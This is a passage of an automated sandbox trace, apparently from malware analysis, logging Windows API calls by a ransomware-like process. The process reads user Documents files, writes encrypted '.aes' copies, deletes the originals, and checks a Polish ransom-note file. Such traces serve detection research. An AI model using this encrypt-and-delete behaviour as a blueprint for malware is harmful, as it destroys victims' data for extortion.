lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.713] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.714] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.715] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.715] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x131, lpOverlapped=0x0) returned 1 [0079.715] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0079.715] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x251, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce974*=0x251, lpOverlapped=0x0) returned 1 [0079.715] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0079.715] CloseHandle (hObject=0x8dc) returned 1 [0079.716] CloseHandle (hObject=0x8e4) returned 1 [0079.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx", lpFilePart=0x0) returned 0x2c [0079.716] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\ev0ylmk5921.pptx")) returned 1 [0079.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0079.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0079.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0079.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0079.717] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0079.760] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx", lpFilePart=0x0) returned 0x34 [0079.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0079.760] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\fbmldmouw-tzoy_unn7.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0391690, ftCreationTime.dwHighDateTime=0x1d329e4, ftLastAccessTime.dwLowDateTime=0xfb6ad2e0, ftLastAccessTime.dwHighDateTime=0x1d309bc, ftLastWriteTime.dwLowDateTime=0xfb6ad2e0, ftLastWriteTime.dwHighDateTime=0x1d309bc, nFileSizeHigh=0x0, nFileSizeLow=0x9aef)) returned 1 [0079.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0079.760] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx", lpFilePart=0x0) returned 0x34 [0079.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0079.760] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\fbmldmouw-tzoy_unn7.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0079.760] GetFileType (hFile=0x8e4) returned 0x1 [0079.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0079.761] GetFileType (hFile=0x8e4) returned 0x1 [0079.761] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx.aes", lpFilePart=0x0) returned 0x38 [0079.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0079.761] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\fbmldmouw-tzoy_unn7.xlsx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0079.761] GetFileType (hFile=0x8dc) returned 0x1 [0079.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0079.761] GetFileType (hFile=0x8dc) returned 0x1 [0079.761] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0079.780] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0079.780] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0079.791] LocalFree (hMem=0x703ef10) returned 0x0 [0079.791] GetAdaptersAddresses () returned 0x6f [0079.795] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0079.795] GetAdaptersAddresses () returned 0x0 [0079.802] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.808] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.808] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.815] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.815] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.822] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.823] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.829] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.829] LocalFree (hMem=0x7074460) returned 0x0 [0079.829] GetBestInterfaceEx (in: pDestAddr=0x291e134*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0079.923] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.924] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.924] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.924] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.925] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.925] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.925] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.930] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.930] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.930] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.930] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0xaef, lpOverlapped=0x0) returned 1 [0079.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b0bcc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b0bcc*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0079.932] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0xc01, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce974*=0xc01, lpOverlapped=0x0) returned 1 [0079.932] WriteFile (in: hFile=0x8dc, lpBuffer=0x28519f0*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28519f0*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0079.932] CloseHandle (hObject=0x8dc) returned 1 [0079.933] CloseHandle (hObject=0x8e4) returned 1 [0079.933] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx", lpFilePart=0x0) returned 0x34 [0079.933] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\FbmlDMOUw-TzOy_UnN7.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\fbmldmouw-tzoy_unn7.xlsx")) returned 1 [0079.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0079.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0079.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0079.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0079.934] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0079.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx", lpFilePart=0x0) returned 0x2e [0079.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0079.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\gxfwksunytgfj.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcfac820, ftCreationTime.dwHighDateTime=0x1d31a17, ftLastAccessTime.dwLowDateTime=0xa23d8b70, ftLastAccessTime.dwHighDateTime=0x1d2cc2e, ftLastWriteTime.dwLowDateTime=0xa23d8b70, ftLastWriteTime.dwHighDateTime=0x1d2cc2e, nFileSizeHigh=0x0, nFileSizeLow=0x69cd)) returned 1 [0079.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0079.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx", lpFilePart=0x0) returned 0x2e [0079.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0079.963] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\gxfwksunytgfj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0079.964] GetFileType (hFile=0x8e4) returned 0x1 [0079.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0079.964] GetFileType (hFile=0x8e4) returned 0x1 [0079.964] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx.aes", lpFilePart=0x0) returned 0x32 [0079.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0079.964] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\gXfWKSuNYtgFj.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\gxfwksunytgfj.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0079.964] GetFileType (hFile=0x8dc) returned 0x1 [0079.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0079.964] GetFileType (hFile=0x8dc) returned 0x1 [0079.964] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0079.974] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0079.974] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0079.982] LocalFree (hMem=0x703ef10) returned 0x0 [0079.982] GetAdaptersAddresses () returned 0x6f [0079.988] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0079.988] GetAdaptersAddresses () returned 0x0 [0079.993] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.012] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.012] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.044] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.044] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0080.050] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0080.050] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0080.061] LocalFree (hMem=0x6ff2da0) returned 0x0 [0080.061] LocalFree (hMem=0x7074460) returned 0x0 [0080.061] GetBestInterfaceEx (in: pDestAddr=0x2722848*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0080.134] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.135] ReadFile (in: hFile=0x8e4, lpBuffer=0x26bc100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26bc100*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0080.135] WriteFile (in: hFile=0x8dc, lpBuffer=0x26e1b48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26e1b48*, lpNumberOfBytesWritten=0x77ce994*=0x1000, 